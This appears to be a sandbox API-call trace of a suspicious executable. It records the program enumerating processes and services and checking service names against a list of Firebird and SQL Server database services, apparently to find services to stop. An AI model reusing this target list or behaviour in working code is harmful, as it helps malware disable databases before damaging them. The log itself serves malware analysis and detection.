	[0165.499] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0165.500] lstrlenW (lpString="System") returned 6
	[0165.500] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0165.500] lstrlenW (lpString="smss.exe") returned 8
	[0165.500] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.501] lstrlenW (lpString="csrss.exe") returned 9
	[0165.501] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0165.501] lstrlenW (lpString="wininit.exe") returned 11
	[0165.501] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0165.501] lstrlenW (lpString="csrss.exe") returned 9
	[0165.502] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0165.502] lstrlenW (lpString="winlogon.exe") returned 12
	[0165.502] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0165.502] lstrlenW (lpString="services.exe") returned 12
	[0165.502] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0165.503] lstrlenW (lpString="lsass.exe") returned 9
	[0165.503] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0165.503] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0165.503] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0165.504] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0165.504] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.505] lstrlenW (lpString="svchost.exe") returned 11
	[0165.505] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.505] lstrlenW (lpString="svchost.exe") returned 11
	[0165.505] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0165.506] lstrlenW (lpString="dwm.exe") returned 7
	[0165.506] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.506] lstrlenW (lpString="svchost.exe") returned 11
	[0165.506] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.506] lstrlenW (lpString="svchost.exe") returned 11
	[0165.506] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.507] lstrlenW (lpString="svchost.exe") returned 11
	[0165.507] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.507] lstrlenW (lpString="svchost.exe") returned 11
	[0165.507] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.508] lstrlenW (lpString="svchost.exe") returned 11
	[0165.508] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.508] lstrlenW (lpString="svchost.exe") returned 11
	[0165.508] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.509] lstrlenW (lpString="svchost.exe") returned 11
	[0165.509] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.509] lstrlenW (lpString="svchost.exe") returned 11
	[0165.509] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.510] lstrlenW (lpString="svchost.exe") returned 11
	[0165.510] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.510] lstrlenW (lpString="svchost.exe") returned 11
	[0165.510] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0165.510] lstrlenW (lpString="spoolsv.exe") returned 11
	[0165.510] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.511] lstrlenW (lpString="svchost.exe") returned 11
	[0165.511] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0165.511] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0165.511] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0165.512] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0165.512] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0165.512] lstrlenW (lpString="audiodg.exe") returned 11
	[0165.512] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0165.513] lstrlenW (lpString="Memory Compression") returned 18
	[0165.513] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0165.513] lstrlenW (lpString="taskhostw.exe") returned 13
	[0165.513] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0165.514] lstrlenW (lpString="sihost.exe") returned 10
	[0165.514] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0165.514] lstrlenW (lpString="svchost.exe") returned 11
	[0165.514] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0165.514] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0165.515] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0165.515] lstrlenW (lpString="taskhostw.exe") returned 13
	[0165.515] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0165.515] lstrlenW (lpString="explorer.exe") returned 12
	[0165.515] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0165.516] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0165.516] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0165.516] lstrlenW (lpString="SearchUI.exe") returned 12
	[0165.516] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0165.517] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0165.517] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0165.517] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0165.517] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0165.518] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0165.518] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0165.518] lstrlenW (lpString="cmd.exe") returned 7
	[0165.518] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0165.518] lstrlenW (lpString="conhost.exe") returned 11
	[0165.518] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0165.519] lstrlenW (lpString="mode.com") returned 8
	[0165.519] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0165.519] CloseHandle (hObject=0x3e0) returned 1
	[0165.519] Sleep (dwMilliseconds=0x1f4) 
	[0166.179] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929fe8
	[0166.180] EnumServicesStatusExW (in: hSCManager=0x3929fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0166.180] GetLastError () returned 0xea
	[0166.180] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40aba00
	[0166.181] EnumServicesStatusExW (in: hSCManager=0x3929fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40aba00, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40aba00, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0166.181] CloseServiceHandle (hSCObject=0x3929fe8) returned 1
	[0166.181] lstrlenW (lpString="AppXSvc") returned 7
	[0166.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0166.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0166.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0166.182] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0166.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0166.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0166.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0166.182] lstrlenW (lpString="Audiosrv") returned 8
	[0166.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0166.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0166.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0166.182] lstrlenW (lpString="BFE") returned 3
	[0166.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0166.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0166.182] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0166.182] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0166.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0166.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0166.182] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0166.182] lstrlenW (lpString="CDPSvc") returned 6
	[0166.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0166.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0166.182] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0166.183] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0166.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0166.183] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0166.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0166.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0166.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0166.183] lstrlenW (lpString="CryptSvc") returned 8
	[0166.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0166.183] lstrlenW (lpString="DcomLaunch") returned 10
	[0166.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0166.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0166.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0166.183] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0166.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0166.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0166.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0166.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0166.184] lstrlenW (lpString="Dhcp") returned 4
	[0166.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0166.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0166.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0166.184] lstrlenW (lpString="Dnscache") returned 8
	[0166.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0166.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0166.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0166.184] lstrlenW (lpString="DPS") returned 3
	[0166.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0166.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0166.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0166.184] lstrlenW (lpString="DusmSvc") returned 7
	[0166.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0166.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0166.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0166.184] lstrlenW (lpString="EventLog") returned 8
	[0166.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0166.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0166.184] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0166.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0166.184] lstrlenW (lpString="EventSystem") returned 11
	[0166.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0166.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0166.185] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0166.185] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0166.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0166.185] lstrlenW (lpString="FontCache") returned 9
	[0166.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0166.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
